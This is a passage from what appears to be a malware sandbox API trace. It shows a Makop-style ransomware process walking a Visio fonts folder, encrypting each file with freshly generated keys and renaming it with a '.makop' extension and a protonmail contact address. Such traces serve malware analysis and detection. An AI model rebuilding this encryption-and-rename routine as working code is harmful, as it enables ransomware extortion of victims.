ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0102.629] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0102.629] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0102.629] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared") returned 59 [0102.630] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*.*") returned 63 [0102.630] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0102.630] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.630] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0102.630] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts") returned 65 [0102.630] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*") returned 69 [0102.631] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0102.643] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.643] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0102.643] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX") returned 77 [0102.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0102.644] GetProcessHeap () returned 0x48a0000 [0102.644] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0102.644] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0102.644] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0102.644] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x6, lpOverlapped=0x0) returned 1 [0102.649] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0102.649] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.649] GetProcessHeap () returned 0x48a0000 [0102.649] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0102.649] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0102.649] CryptDestroyKey (hKey=0x48c7168) returned 1 [0102.649] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0102.649] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0102.650] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0102.650] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0102.650] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0102.650] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0102.650] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0102.650] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.650] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.651] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4f2ea, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x4f2ea, lpOverlapped=0x0) returned 1 [0102.660] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x4f2f0, dwBufLen=0x4f2f0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x4f2f0) returned 1 [0102.664] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.664] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4f2f0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x4f2f0, lpOverlapped=0x0) returned 1 [0102.666] CryptDestroyKey (hKey=0x48c7168) returned 1 [0102.666] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x4f3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.666] SetEndOfFile (hFile=0x138) returned 1 [0102.674] GetProcessHeap () returned 0x48a0000 [0102.674] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0102.674] GetProcessHeap () returned 0x48a0000 [0102.674] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0102.674] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0102.674] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\bigfont.shx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0102.676] CloseHandle (hObject=0x138) returned 1 [0102.677] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1 [0102.677] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX") returned 78 [0102.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0102.677] GetProcessHeap () returned 0x48a0000 [0102.677] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0102.678] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0102.678] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0102.678] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x3, lpOverlapped=0x0) returned 1 [0102.682] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0102.682] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.682] GetProcessHeap () returned 0x48a0000 [0102.682] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0102.682] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0102.682] CryptDestroyKey (hKey=0x48c7168) returned 1 [0102.682] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0102.682] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0102.683] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0102.683] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0102.683] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0102.683] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0102.683] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0102.683] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.683] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.684] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa261d, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xa261d, lpOverlapped=0x0) returned 1 [0102.700] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xa2620, dwBufLen=0xa2620 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xa2620) returned 1 [0102.707] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.707] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa2620, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xa2620, lpOverlapped=0x0) returned 1 [0102.712] CryptDestroyKey (hKey=0x48c7168) returned 1 [0102.712] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xa26f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.712] SetEndOfFile (hFile=0x138) returned 1 [0102.721] GetProcessHeap () returned 0x48a0000 [0102.721] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0102.721] GetProcessHeap () returned 0x48a0000 [0102.721] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0102.722] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0102.722] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\chineset.shx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0102.730] CloseHandle (hObject=0x138) returned 1 [0102.730] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1 [0102.730] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX") returned 77 [0102.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0102.731] GetProcessHeap () returned 0x48a0000 [0102.731] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0102.731] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0102.731] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0102.731] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xa, lpOverlapped=0x0) returned 1 [0102.735] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0102.735] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.736] GetProcessHeap () returned 0x48a0000 [0102.736] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0102.736] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0102.736] CryptDestroyKey (hKey=0x48c7168) returned 1 [0102.736] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0102.736] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0102.736] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0102.736] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0102.736] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0102.737] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0102.737] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0102.737] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0102.737] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.737] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6a9e6, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x6a9e6, lpOverlapped=0x0) returned 1 [0102.748] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x6a9f0, dwBufLen=0x6a9f0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x6a9f0) returned 1 [0102.752] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.752] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6a9f0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x6a9f0, lpOverlapped=0x0) returned 1 [0102.756] CryptDestroyKey (hKey=0x48c7168) returned 1 [0102.756] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x6aac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.756] SetEndOfFile (hFile=0x138) returned 1 [0102.766] GetProcessHeap () returned 0x48a0000 [0102.766] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0102.766] GetProcessHeap () returned 0x48a0000 [0102.766] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0102.766] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0102.766] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0102.768] CloseHandle (hObject=0x138) returned 1 [0102.768] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1 [0102.768] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX") returned 76 [0102.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0102.768] GetProcessHeap () returned 0x48a0000 [0102.769] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0102.769] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0102.769] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0102.769] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, 